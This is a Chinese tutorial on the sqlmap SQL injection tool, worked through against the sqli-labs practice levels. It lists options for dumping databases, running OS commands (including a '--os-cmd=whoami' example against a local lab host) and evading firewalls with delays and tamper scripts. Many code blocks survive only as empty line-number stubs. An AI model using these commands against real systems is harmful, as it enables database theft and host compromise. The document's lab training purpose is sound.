sqlmap使用教程(超详细)
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
--level 设置注入探测等级
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
详解:
--delay
有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
--safe-url
有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用--safe-url 就可以每隔一段时间去访问一个正常的页面。
--tamper
语法:--tamper ["脚本名称"]
当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中
脚本信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
|
-v ["x"]
使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:
等级 | 解释 |
0 | 只显示python错误以及严重信息 |
1 | 同时显示基本信息和警告信息 |
2 | 同时显示debug信息 |
3 | 同时显示注入的pyload |
4 | 同时显示HTTP请求 |
5 | 同时显示HTTP相应头 |
6 | 同时显示HTTP相应页面 |
--level
level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5
–-os-cmd=["命令"] 或 --os-shell=["命令"] 执行系统命令
利用sql-labs-less1测试 whoami 命令
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
选择web服务器支持的语言
选择web服务器的可写目录
[1] 使用默认的
[2] 自定义位置
[3] 自定义目录列表文件
[4] 暴力搜索
我在本地测试,节省时间,我选择2 ,自定义路径,然后把路径输入在下面
执行命令后的返回结果
以下关卡均可用get型的方法,常规注入
1 2 3 4 5 |
|
GET型 | 关卡 | 类型 |
sql-labs-less1 | GET单引号字符型注入 | |
sql-labs-less2 | 数字型注入 | |
sql-labs-less3 | 有括号的单引号报错注入 | |
sql-labs-less4 | 有括号的双引号报错注入 | |
sql-labs-less5 | 单引号二次注入 | |
sql-labs-less6 | 双引号二次注入 | |
sql-labs-less7 | 文件导入导出 | |
sql-labs-less8 | 布尔型盲注 | |
sql-labs-less9 | 时间型盲注 | |
sql-labs-less10 | 双引号时间盲注 |
sql注入检测
get型:
语法:sqlmap -u ["url"]
1 |
|
post型:
先使用bp把提交的数据包保存下来
或者直接
加上post提交的参数
语法:sqlmap -r ["请求包的txt文件"]
1 |
|
sql-labs -less1~sql-labs-less9
获取当前数据库名称:
语法:sqlmap -u [“url”] --current-db
1 |
|
获取指定数据库的表名:
语法:sqlmap -u [“url”] -D [‘数据库名’] --tables
1 |
|
获取指定数据库指定表中的字段:
语法:sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columns
1 |
|
获取指定数据库指定表的指定字段的字段内容:
语法:sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump
1 |
|
sql-labs-less10
1 |
|
提升等级 -level 2
1 |
|
sql-labs-less11~less17常规 POST 注入
1 2 3 4 5 |
|
POST | 关卡 | 类型 |
sql-labs-less11 | 基于错误的单引号字符型注入 | |
sql-labs-less12 | 基于错误的双引号字符型注入 | |
sql-labs-less13 | 单引号变形双注入 | |
sql-labs-less14 | 双引号变形双注入 | |
sql-labs-less15 | Bool型时间延迟单引号盲注 | |
sql-labs-less16 | Bool型时间延迟双引号盲注 | |
sql-labs-less17 | 更新查询注入 | |
sql-labs-less18 | Uagent注入 | |
sql-labs-less19 | Referer注入 | |
sql-labs-less20 | Cookie注入 |
sql-labs-less18
Header injection - Uagent
sqlmap 在对user-agent 注入的时候,得在文件中的user-agent的参数后面加上 *
或者不加 * 号,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入
1 |
|
sql-labs-less19
Header injection - Referer
对Referer注入和User-agent相同,要么是在Referer后面加上 *
或者将 level 调至 3 级
sql-labs-less20
Header injection -Cookie
语法:sqlmap -u [“url”] --cookie ["cookie信息"] --level 2
1 |
|